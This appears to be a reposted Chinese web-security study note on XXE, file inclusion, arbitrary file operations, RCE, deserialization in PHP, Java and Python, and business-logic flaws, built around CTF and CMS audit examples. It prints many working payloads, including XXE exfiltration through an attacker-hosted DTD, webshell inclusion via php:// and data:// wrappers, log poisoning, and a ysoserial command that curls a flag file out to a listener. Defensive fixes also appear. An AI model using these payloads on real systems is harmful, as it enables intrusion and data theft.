XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据内容,其把数据从HTML分离,是独立与软件与硬件的信息传输工具。XXE漏洞全称XML External Entity Injection ,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内部网站等危害

XML与HTML的主要差异:

XML被设计为传输和存储数据,其焦点是数据内容

HTML被设计用来显示数据,其焦点是数据的外观

HTML旨在显示信息,而XML旨在传输信息

XXE修复防御方案:

A:禁用外部实体

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python

from lxml import etreexmlData=

etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

B:过滤用户提交的XML数据

过滤关键词:<!DOCTYPE 和 <!ENTITY,或者SYSTEM和PUBLIC

XML&XXE        黑盒-原理&探针&利用&玩法等

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

1.读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa[

<!ENTITY test SYSTEM "file:///d:/e.txt">

]>

<user><username>&test;</username><password>MISAKA</password></user>

1.1外带测试:

<?xml version="1.0"?>

<!DOCTYPE test[

        <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">

        %file;

]>

<user><username>&send;</username><password>MISAKA</password></user>

2.外部引用实体dtd:

<?xml version="1.0"?>

<!DOCTYPE test[

        <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

        %file

]>

<user><username>&send;</username><password>MISAKA</password></user>

evil2.dtd

<!ENTITY send SYSTEM "file:///d:/e.txt">

3.无回显读文件

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/e.txt">

<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://xx.xx.xx.xx/get.php?file=%file,'>">

get.php

<?php

$data=$_GET['file'];

$myfile=fopen("file.txt","w+");

fwrite($myfile,$data);

fclose($myfile);

?>

4.其他玩法(协议)见参考地址

XML&XXE-前端-CTF&Jarvisoj&探针&利用

http://web.jarvisoj.com:9882/

XXE黑盒发现:

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

2、不管获取到的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

流程:功能分析-前端提交-源码&抓包-构造Payload测试

更改请求数据格式:Content-Type

?xml version="1.0"?>

<!DOCTYPE Any[

        <!ENTITY f SYSTEM "file:///home/ctf/flag.txt">

]>

<x>&f</x>

XML&XXE-白盒-CMS&PHPSHE&无回显审计

审计流程:

a:漏洞函数simplexml_load_string

b:pe_getxml函数调用了漏洞函数

c:wechat_getxml调用pe_getxml

d:notify_url调用了wechat_getxml

访问notify_url文件触发wechat_getxml函数构造payload测试

先尝试读取文件,无回显后带外测试

<?xml version="1.0"?>

<!DOCTYPE test[

        <!ENTITY % file SYSTEM "http://fuwlwv.dnslog.cn">

        %file;

]>

<user><username>&send;</username><password>MISAKA</password></user>

然后带外传递数据解决回显:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/e.txt">

<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

test.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://xx.xx.xx.xx/get.php?file=%file;'>">

文件包含

知识点:

1、解释-什么是文件包含

2、分类-本地LFI&远程RFI

3、利用-配合上传&日志&会话

4、利用-伪协议&编码&算法等        读文件,写文件(编码算法的转换)

核心知识:

a:本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载;具体形成原因由代码和配置环境文件决定

b:各类脚本语言包含代码写法-见下

<!--#include file="1.asp"-->

<!--#include file="top.aspx"-->

<c.import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php include('test.php')?>

各类脚本语言包含伪协议玩法

https://www.cnblogs.com/endust/p/11804767.html

思路要点:

黑盒:主要观察参数传递的数据和文件名是否对应

白盒:

a.可通过应用功能追踪代码定位审计

b.可通过脚本特定函数搜索定位审计

c.可通过伪协议玩法绕过相关修复等

CTF应用78-117

78-php&http协议

payload:        ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload:        ?file=php://input post:<?php system('tac flag.php');?>

payload:        ?file=http://www.xxx.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

payload:        ?file=data://text/plain;<?=system('tac flag.*');?>

payload:        

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload:        ?file=http://www.xxx.com/1.txt 1.txt: <?php system('tac flag.php');?>

80,81-日志包含

1.利用其他协议,如file,zlib等

2.利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

82-86-session包含

https://www.cnblogs.com/interpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1.利用base64:

url编码两次:php://filter/write=convert base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2.利用凯撒13:

url编码两次:php://filter/write=string.rot13/resource=2.php

content=<?cuc flfgrz('gnp s*.cuc');?>

88-data&base64协议

过滤php,各种符号,php代码编码写出无符号base64的值

payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKtlY2hvlDEyMzs/PmFk

117-php://filter/write&新的算法

convert_icony:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result=iconv("UCS-2LE","UCE-2BE",'<?php eval($_POST['a']);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);

?>

payload:        

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO['T']a;)>?

CMS源码-XHCMS-代码审计&日志&绕过

1.搜索特定函数寻找包含点

2.固定目录及后缀名需绕过

3.由CMS无上传用日志包含

4.利用长度绕过后缀名固定

payload:

?r=../../../Apache/logs/access.log/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../        

总结:

1.有可控文件如能上传文件,配合上传后包含

2.无可控文件可以利用日志或Session&伪协议

3.代码固定目录及文件后缀时需考虑版本绕过

4.伪协议玩法是建立在代码中只有变量存在时

文件任意下载&删除&读取

知识点:

1、文件操作安全问题

2、文件下载&删除&读取

3、白盒&黑盒&探针分析

详细点:

文件读取:基本和文件下载利用类似

文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路

文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装

白盒审计:

1.文件下载

流程-功能点抓包-寻代码文件-寻控制变量-构造测试

payload:softadd=d:/1.txt softadd2=d:/1.txt

2.文件删除:74cms-配合删除重装

流程-特定函数搜索-寻触发调用-构造payload测试

payload:/admin/admin_article.php?act=del_img&img=../../data/install.lock

3.文件读取:MetInfo-任意读取

流程-特定函数搜索-寻触发调用-构造payload测试

payload:/include/thumb.php?dir=http\..\..\config\config_db.php

黑盒探针:

a:URL参数名及参数值分析

参数名:英文对应翻译

参数值:目录或文件名

b:功能点自行修改后分析

RCE

知识点:

1.RCE执行-代码执行&命令执行

2.CTF考点-漏洞配合&绕过手法

3.利用审计-CMS框架&中间件等

详细点:

a:为什么会产生此类安全问题

b:此类安全问题探针利用及危害

c:此类安全问题在CTF即CMS分析

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

RCE-原理&探针&利用&危害等

举例:

<?php

//eval代码执行

eval('phpinfo();');

//system命令执行

system('ipconfig');

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.php:

eval()        assert()        preg_replace()        call_user_func_array()        以及        arrary_map()等

system        shell_exec        popen        passthru        proc_open等

2.python:

eval        exec        subprocess        os.system        commands

3.java:

Java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行的函数,但有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL        SpEL        MVEL等

CTF-29-39-RCE代码命令执行

29        通配符

system('tac fla*.php');

30        取代函数&通配符&管道符

`cp fla*.ph* 2.txt`;

echo shell_exec('tac fla*.ph*');

31        参数逃逸

eval($_GET[1]);&1=system('tac flag.php');

32-36        配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37-39        包含&伪协议&通配符

data://text/plain,<?=system('tac fla*');?>

php://input post:<?php system('tac flag.php');?>

代码审计-PbootCMS-RCM代码执行

流程:搜索特定函数-》parserlfLabel-》parserCommon-》About&Content-》构造

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

层面-探针-语言&cms框架&中间件

http://vulfocus.io/        Shiro weblogic

序列化
php反序列化
一:

知识点:

1.什么是反序列化操作?-格式转换

2.为什么会出现安全漏洞?-魔术方法

3.反序列化漏洞如何发现?-对象逻辑

4.反序列化漏洞如何利用?-pop链构造

补充:反序列化利用大概分三类

-魔术方法的调用逻辑        如触发条件

-语言原生类的调用逻辑        如SoapClient

-语言自身的安全缺陷        如CVE-2016-7124

反序列化课程点:

-PHP&JAVA&Python

序列化:对象转换为数组或字符串格式

反序列化:将数组或字符串等格式转换成对象

serialize():        将一个对象转换成一个字符串

unserialize():        将一个字符串还原为一个对象

PHP反序列化漏洞

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

魔术方法利用点分析:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct()        构造函数,当对象new的时候就会自动调用

__destruct()        析构函数,当对象被销毁时就会被自动调用

__wakeup()        unserialize()时会被自动调用

__invoke()        当尝试以调用函数的方法调用一个对象时,会被自动调用

__call()        在对象上下文中调用不可访问的方法时调用

__callStatic()        在静态上下文中调用不可访问的方法时调用

__get()            用于从不可访问的属性读取数据

__set()        用于将数据写入不可访问的属性

__isset()        在不可访问的属性上调用isset()或empty()触发

__unset()            在不可访问的属性上使用unset()时触发

__toString()        把类当作字符串使用时触发

__sleep()        serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在,该方法会被优先调用

反序列化-魔术方法&漏洞引发&变量修改等

<?php

//序列化&反序列化

clss demotest{

        public $name='xxx';

        public $sex='man';

        public $age='29';

}

$example=new demotest();

$s=serialze($example);//序列化

$u=unserialize($s);//反序列化

echo $s.'<br>';

var_dump($u);

echo '<br>';

//O:8:"demotest":3:{s:4:"name";s:3:"xxx";s:3:"sex";s:3:"age";s:2:"29";}

//object(demotest)#2 (3) {["name"]=>string(3) "xxx" ["sex"]=>string(3)"man" ["age"]=>string(2)"29"}

//安全问题

class A{

        public  $var='echo test';

        public function test(){

        echo $this->var;

}

        public function __destruct(){

        echo 'x'.'<br>';

}

        public function __construct(){

        echo '__construct'.'<br>';

}

        public function __toString(){

        return '__toString'.'<br>';

}

}

//无需函数,创建对象触发魔术方法

//$a=new A();//触发__construct

//$a->test();//触发test

//echo $a;//触发__toString

//触发__destruct

echo serialize($a);

$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');

$t->test();

//漏洞出现

class B{

        public function __destruct(){

        system('ipconfig');

}

        public function __construct(){

        echo 'xiaodisec'.'<br>';

}

}

//函数引用,无对象创建触发魔术方法

//?x=O:1:"B":1:{s:4:"test";s:3:"vat";}

unserialize($_GET[x]);

//$b=new b();

//echo serialize($b);

class C(){

        public $cmd='ipconfig';

        public function __destruct(){

        system($this->cmd);

}

        public function __construct(){

        echo 'xiaodisec'.'<br>';

}

}

//函数引用,无对象创建触发魔术方法自定义变量

//?c=0:1:"C":1:{s:3:"cmd";s:3:"var";}

unserialize($_GET[c]);

?>

cms代码审计-Typecho反序列化&魔术方法逻辑

二:

知识点:

1,反序列化魔术方法全解

2,反序列化变量属性全解

3,反序列化魔术方法原生类

4,反序列化语言特性漏洞绕过

其他魔术方法

-共有&私有&保护

-语言模式方法漏洞

-原生类获取利用配合

方法&属性-调用详解&变量数据详解

对象变量属性:

public :在本类内部、外部类、子类都可以访问

protected:只有本类或子类或父类可以访问

private:只有本类内部可以使用

序列化数据显示:

private属性序列化时格式为:%00类名%00成员名

protect属性序列化时格式为:%00*%00成员名

具体代码:

<?php

        header("Content-type:text/html;charset=utf-8");

        /*public private protected说明

        class test{

        public $name="xxx";

        private $age="29";

        protected $sex="man";

}

$a=new test();

$a=serialize($a);

print_r($a);

        */

/*__construct __destruct魔术方法 创建调用__construct 2种销毁调用__destruct

class Test{

        public $name;

        public $age;

        public $string;

//__construct:实例化对象时被调用,其作用是拿来初始化一些值。

public function __construct($name,$age,$string){

        echo"__construct 初始化".'<br>';

        $this->name=$name;

        $this->age=$age;

        $this->string=$string;

}

//__destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制

/*当对象销毁时会调用此方法

一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

*/

fuction __destruct(){

        echo "__destruct 类执行完毕".'<br>';

}

}

//主动销毁

$test=new Test("Spaceman","666","Test String");

unset($test);

echo "第一种执行完毕".'<br>';

echo "----------------------------------";

//程序自动销毁

$test = new test("Spaceman","666","Test String");

echo "第二种执行完毕".'<br>';

*/

...

?>

CTF-语言漏洞——wakeup()方法绕过

如果存在__wakeup方法,调用unserialize()方法前先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1.下载源码分析,触发flag条件

2.分析会触发调用__wakeup强制username值

3.利用语言漏洞绕过CVE-2016-7124

4.构造payload后,修改满足漏洞条件触发

CTF-方法原生类-获取&利用&配合其他

参考:https://www.anquanke.com/post/id/264823

-PHP有哪些原生类-见脚本使用

-常见使用的原生类-见参考

-原生类该怎么使用-见官方

0、生成原生类

<?php

$classes=get_declared_classes();

foreach($classes as $class){

        $methods=get_class_methods($class);

        foreach($methods as $method){

        if(in_array($method,array(

        '__destruct';

        '__toString';

        '__wakeup';

        '__call';

        '__callStatic';

        '__get';

        '__set';

        '__isset';

        '__unset';

        '__invoke';

        '__set_state';

))){

        print $class.'::'.$method."\n";

}

}

}

1、本地Demo-xss

<?php

        highlight_file(__file__);

        $a=unserialize($_GET['k']);

        echo $a;

?>

-输出对象可调用__toString

-无代码通过原生类Exception

-Exception使用查询编写利用

-通过访问触发输出产生XSS漏洞

<?php

        $a=new Exception("<script> alert ("xxx");</script>");

        echo urlencode(serialize($a));

?>

2、CTFShow-259

-不存在的方法触发__call

-无代码通过原生类SoapClient

-SoapClient使用查询编写利用

-通过访问本地Flag.php获取Flag

Java反序列化

知识点:

1.Java反序列化演示-原生API接口

2.Java反序列化漏洞利用-Ysoserial使用

3.Java反序列化漏洞发现利用点-函数&数据

4.Java反序列化考点-真实&CTF赛题-审计分析

内容点:

a:明白-Java反序列化原理

b:判断-Java反序列化漏洞

c:学会-Ysoserial工具使用

d:学会-SearializationDumper

e:了解-简要Java代码审计分析

前置知识:

序列化和反序列化的概念

序列化:把Java对象转换为字节序列的过程

反序列化:把字节序列恢复为Java对象的过程

对象的序列化主要有两种用途:

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)

在网络上传送对象的字节序列。(网络传输对象)

函数接口:

Java:Seralizable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.ParseObject等

PHP:serialize()、unserialize()

Python:pickle marshal PyYAML shelve PIL unzip

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重要关注这些功能模块

2、数据特性:

一段数据以rO0AB开头,你基本可以确定这串就是Java反序列化base64加密的数据,或者如果以aced开头,那么他就是这一段Java序列化的16进制。

3、出现具体:

http参数,cookie,session,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX、RMI、JMS、JND1等(\xac\Xed)xm IXstream、XmldEcoder等(http Body:Content-type:application/xml)json(jackson,fastjson)http请求中包含

发现:

黑盒分析:数据库出现地-观察数据特性

白盒分析:组件安全&函数搜索&功能模块

利用:

Ysoserial集成的jar包配合生成,特性的专业漏洞利用工具等

原生API-Ysoserial_URLDNS使用

Serializable接口

Externalizable接口

没组件生成DNS利用:

https://github.com/frohoff/ysoserial

java -jar ysoserial-0.0.6-SNAPSHORT-all.jar URLDNS "http://xxx.cn" > urldns.ser

第三方组件-Ysoserial_支持库生成利用

https://github.com/WebGoat/WebGoat

有组件生成RCE

1.生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

2.解码:python java.py

import base64

file=open("x.bin","rb")

now=file.read()

ba=base64.b64encode(now)

print(ba)

file.close()

解密分析-SerializationDumper数据分析

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13jar -r urldns.ser > dns.txt

CTF赛题 网鼎杯2020朱雀组JThink.java

0x01 注入判断,获取管理员账号密码

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞另外有swagger开发接口,测试注入漏洞及访问接口进行调用调试

数据库名:myapp 列名 name pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试

/swagger-ui html接口测试:

{

        "password"."admin@Rrrr_ctf_asde",

        "username":"admin"

}

登录成功返回序列化数据:

。。。

0x03 回显数据分析攻击思路

JavaWeb特征可以作为序列号的标志参考

一段数据以rO0AB开头,你基本可以确定这串就是Java序列号base64加密的数据,或者如果以aced开头,那么他就是这一段java序列化的16进制。

分析数据:

先利用py2脚本base64解密数据

import base64

a=。。。

b=base64.b64decoder(a) encode('hex')

print(b)

再利用SerializationDumper解析数据 Java反序列化字节转字符串工具

java -jar SerializationDumper-v1.11.jar aced000xxx

0x04 生成反序列化payload

解密后数据中包含账号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://xxx:4444/ -d @/flag" > flag.bin

利用py2脚本进行反序列化数据的提取

import base64

file = open("flag.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

0x05 触发反序列化,获取flag

服务器执行:nc -lvvp 4444

数据包直接请求获取进行反序列数据加载操作 

Python反序列化

知识点:

1、Python-反序列化函数使用

2、Python-反序列化魔术方法

3、Python-反序列化POP链构造

4、Python-自动化审计bandit使用

前置知识:

函数使用:

pickle.dump(obj,file)        将对象序列化后保存到文件

pickle.load(file)        读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj)        将对象序列化成字符串各式的字节流

pickle.loads(byte_obj)        将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__()        反序列化时调用

__reduce_ex__()        反序列化时调用

__setstate__()        反序列化时调用

__getstate__()        序列化时调用

原理-反序列化魔术方法-调用理解

魔术方法利用:

__reduce__()        反序列化时调用

__reduce_ex__()        反序列化时调用

__setstate__()        反序列化时调用

__getstate__()        序列化时调用

-代码块:

import pickle

import os

反序列化魔术方法调用-__reduce__()        __reduce_ex__()        __setstate__()

class A(object):

        def __reduce__(self):

        print('反序列化调用')

        return (os.system,('calc',))

a=A()

p_a=pickle.dumps(a)

pickle.loads(p_a)

print('===========')

print(p_a)

class SerializePerson():

        def __init__(self,name):

                self.name = name

        #构造 __setstate__方法

        def __setstate__(self,name):

                os.system('calc')        #恶意代码

tmp = pickle.dumps(SerializationPerson('tom'))        #序列化

pickle.loads(tmp)        #反序列化 此时会弹出计算器

#序列化魔术方法调用        __getstate__()

class A(object):

        def __getstate__(self):

                print('序列化调用')

                os.system('calc')

a=A()

p_a = pickle.dumps(a)

print('===========')

print(p_a)

反序列化安全漏洞demo

class A(object):

        def __init__(self,func,arg):

                self.func=func

                self.arg = arg

                print('This is A')

        def __reduce__(self):

                print('反序列化调用')

                return (self.func,self.arg)

a=A(os.system,('calc'))

p_a = pickle.dumps(a)

pickle.loads(p_a)

print('===========')

print(p_a)

CTF-反序列化漏洞利用-构造RCE

环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户信息时,通过对用户数据进行反序列化获取导致的安全漏洞

CTF-CISCN2019华北-JWT&反序列化

通过提示-》寻找LV6-》购买修改支付逻辑-》绕过admin限制需修改jwt值-》爆破jwt密钥-》重组jwt值为admin-》购买进入会员中心-》源码找到文件压缩源码-》python代码审计反序列化-》构造读取flag代码进行序列化打印-》提交获取

考点1:JWT身份验证 攻击点:

https://www.cnblogs.com/vege/p/14468030.html

https://github.com/ck00004/c-jwt-cracker

考点2:Python代码审计 反序列化

自动工具:https://github.com/PyCQA/bandit

参考资料:https://github.com/bit4woo/python_sec

1.获取lv6

import request,time

url:"xxx"

for i in range(0,2000)

        time.sleep(0.2)

        r=request.get(url+str(i))

        if 'lv6.png' in r.text:

                print(i) 

                break

else:

        print(str(i)+'|no')

2.购买后伪造admin身份

获取密钥

重组密文

3.代码审计-反序列化

伪造admin后发现返回数据包存在源码下载,下载后代码审计:

测试触发:URL对应代码块:路由-》文件

出发代码Payload:(源码是2版本)

import pickle

import urllib

class payload(object):

        def __reduce__(self)

                return (eval,("open('/flag.txt','r').read()",))

a=pickle.dumps(payload())

a=urllib.quote(a)

print(a)

代码审计-自动化工具-bandit安装及使用

参考:https://bandit.readthedocs.io/

业务逻辑

知识点:

1、水平越权-同级用户权限共享

2、垂直越权-低高用户权限共享

3、访问控制-验证丢失&取消验证

4、脆弱验证-Cookie&Token&Jwt等

前置知识

a:逻辑越权原理

-水平越权:用户信息获取时未对用户与ID比较判断直接查询等

-垂直越权:数据库中用户类型编号接受篡改或高权限操作未验证等

b:访问控制原理

-验证丢失:未包含引用验证代码文件等

-取消验证:支持空命令,匿名,白名单等

c:脆弱验证原理

-Cookie&Token&Jwt:不安全的验证逻辑

权限-水平越权-YXCMS-检测数据对比弱

只检测用户和ID对应关系,没检测当前操作用户是不是当前用户

权限-垂直越权-MINICMS-权限操作无验证

后台数据包访问先执行后判断登录等于无效

未授权-访问控制-XHCMS-代码未引用验证

未授权-访问控制-XHCMS-Cookie脆弱验证

app="熊海内容管理系统(SEACMS)"

#弱机制-空口令机制-Redis&Weblogic弱机制

http://vulfocus.io/

https://vulhub.org/

"weblogic"&&port="7001"

检测类-工具项目-Auth&Secscan-Authcheck

安装踩坑:https://bigyoung.cn/posts/250/

https://github.com/ztosec/secscan-authcheck

https://blog.csdn.net/weixin_44203158/article/details/110007233

购买支付逻辑

知识点:

1、商品购买-数量&价格&编号等

2、支付模式-状态&接口&负数等

3、折扣处理-优惠券&积分&重放等

详细点:

a:熟悉常见支付流程

选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付

b:熟悉那些数据篡改

商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等

c:熟悉那些修改方式

替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/571001.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

QWidget 类

QWidget 类中包括框架的属性 QWidget 类中不包括框架的属性 总结:可使用以下两种方法设置部件的位置和大小 ①、通常使用 move()设置部件的位置,使用 resize()设置部件的大小。 ②、使用 setGeometry()函数同时设置部件的位置和大小。 ③、无法为部件指定包含边框在内的大…

C语言操作符和关键字

文章目录 操作符单目操作符sizeof&#xff08;类型&#xff09;强制类型转换 关系操作符、逻辑操作符、条件操作符逗号表达式 常见关键字typedefstaticstatic修饰局部变量static修饰全局变量static修饰函数 register寄存器关键词define定义常量和宏 操作符 单目操作符 C语言中…

echarts bar图表实现多个label显示

2024.0.23今天我学习了使用bar组件&#xff0c;可以渲染多个label显示的效果&#xff0c;如&#xff1a; 当我们有一个这样的图表时&#xff0c;根据需求需要在 这上面的顶部再显示一个空置床位数占用床位数的合计总值&#xff0c;如果直接添加一个label肯定是不行&#xff0c;…

深度学习-线性代数

目录 标量向量矩阵特殊矩阵特征向量和特征值 标量由只有一个元素的张量表示将向量视为标量值组成的列表通过张量的索引来访问任一元素访问张量的长度只有一个轴的张量&#xff0c;形状只有一个元素通过指定两个分量m和n来创建一个形状为mn的矩阵矩阵的转置对称矩阵的转置逻辑运…

[MYSQL索引优化] 分页查询优化

这里一共介绍两种常见的分页索引优化技巧,let go! 示例表: CREATE TABLE t_product (id int(0) NOT NULL,pname varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,price double(7, 2) NULL DEFAULT 0.00,promoteSales varchar(200) CHARA…

Linux进程详解三:进程状态

文章目录 进程状态Linux下的进程状态运行态-R阻塞态浅度休眠-S深度睡眠-D暂停状态-T暂停状态-t 终止态僵尸-Z死亡-X 孤儿进程 进程状态 进程的状态&#xff0c;本质上就是一个整型变量&#xff0c;在task_struct中的一个整型变量。 状态的存在决定了你的后续行为动作。 Linu…

DRF: 序列化器、View、APIView、GenericAPIView、Mixin、ViewSet、ModelViewSet的源码解析

前言&#xff1a;还没有整理&#xff0c;后续有时间再整理&#xff0c;目前只是个人思路&#xff0c;文章较乱。 注意路径匹配的“/” 我们的url里面加了“/”&#xff0c;但是用apifox等非浏览器的工具发起请求时没有加“/”&#xff0c;而且还不是get请求&#xff0c;那么这…

C++字符串中单词的提取以及按符号分隔

句子中的单词提取利用stringstream即可 如果要分割需配合getline使用 两者前提都是要先转化为字符串流。

Linux套接字编程详解

Linux套接字编程 预备知识IP地址和MAC地址套接字结构网络字节序 UDP套接字编程服务端代码客服端代码 TCP 套接字守护进程 计算器模块1 日志头文件序列化和反序列化 预备知识 IP地址和MAC地址 MAC地址用来在局域网中标识唯一主机 Ip地址用于在广域网中标识唯一主机 &#xff0…

李廉洋:4.24-4.25现货黄金,WTI原油区间震荡,走势分析。

黄金消息面分析&#xff1a;金银近日回调。随着伊朗方面淡化以色列最新反击&#xff0c;中东地区局势没有进一步发酵下&#xff0c;风险溢价下降金银出现较大幅度调整。由于近期高于预期的通胀数据&#xff0c;降息预期持续降温。昨日疲软的美国PMI以及以色列在加沙攻击的加剧支…

【Unity】AssetBundle加载与卸载

unity官方apiAssetBundle-LoadFromFileAsync - Unity 脚本 API 异步加载AB包 using UnityEngine; using System.Collections; using System.IO;public class LoadFromFileAsyncExample : MonoBehaviour {IEnumerator Start(){var bundleLoadRequest AssetBundle.LoadFromFil…

消息服务应用1——java项目使用websocket

在当前微服务项目中&#xff0c;由于业务模块众多&#xff0c;消息服务的使用场景变得异常活跃。而WebSocket由于其自身的可靠性强&#xff0c;实时性好&#xff0c;带宽占用更小的优势&#xff0c;在实时通讯应用场景中独占鳌头&#xff0c;加上HTML5标准的普及流行&#xff0…

OpenCompass 大模型评测实战——笔记

OpenCompass 大模型评测实战——笔记 一、评测1.1、为什么要做评测1.2、如何通过能力评测促进模型发展1.2.1、面向未来拓展能力维度1.2.2、扎根通用能力1.2.3、高质量1.2.4、性能评测 1.3、评测的挑战1.3.1、全面性1.3.2、评测成本1.3.3、数据污染1.3.4、鲁棒性 二、OpenCompas…

java-junit单元测试

问题 Junit框架 代码 工具类 // 工具类 public class StringUtils {// 获取字符串的最大下标public static int getMaxIndex(String str){// 这个地方是有问题的&#xff0c;应该是str.length() - 1 也没有进行str是否为空的判断return str.length() ;} }测试类 测试类类名&…

vcontact2:病毒聚类(失败)

Bitbucket 安装 mamba create --name vContact2 biopython1.78 mamba install -c bioconda vcontact20.11.3vim ~/envs/vContact2/lib/python3.9/site-packages/vcontact2/exports/summaries.py 把 np.warnings.filterwarnings(ignore) 改成 import warnings warnings.filte…

递归、搜索与回溯算法:FloodFill 算法

例题一 算法思路&#xff1a; 可以利⽤「深搜」或者「宽搜」&#xff0c;遍历到与该点相连的所有「像素相同的点」&#xff0c;然后将其修改成指定的像素即可。 全局变量&#xff1a; int dx[4] { 0,0,1,-1 }, dy[4] { 1,-1,0,0 }; int m, n; int precolor;//记录原先的颜色…

【Linux】日志分析与管理

作为一个运维&#xff0c;如果不会看日志&#xff0c;就好比是冬天刚刚用热水泡完了脚&#xff0c;接着就立马让人把水喝掉。 目录 一、Inode介绍 1.1 什么是inode 1.2 inode表内容 1.3 查看inode号的方式 二、日志分析 2.1 日志的用途 2.2 日志的分类 2.3 日志级别 2…

Flink学习(七)-单词统计

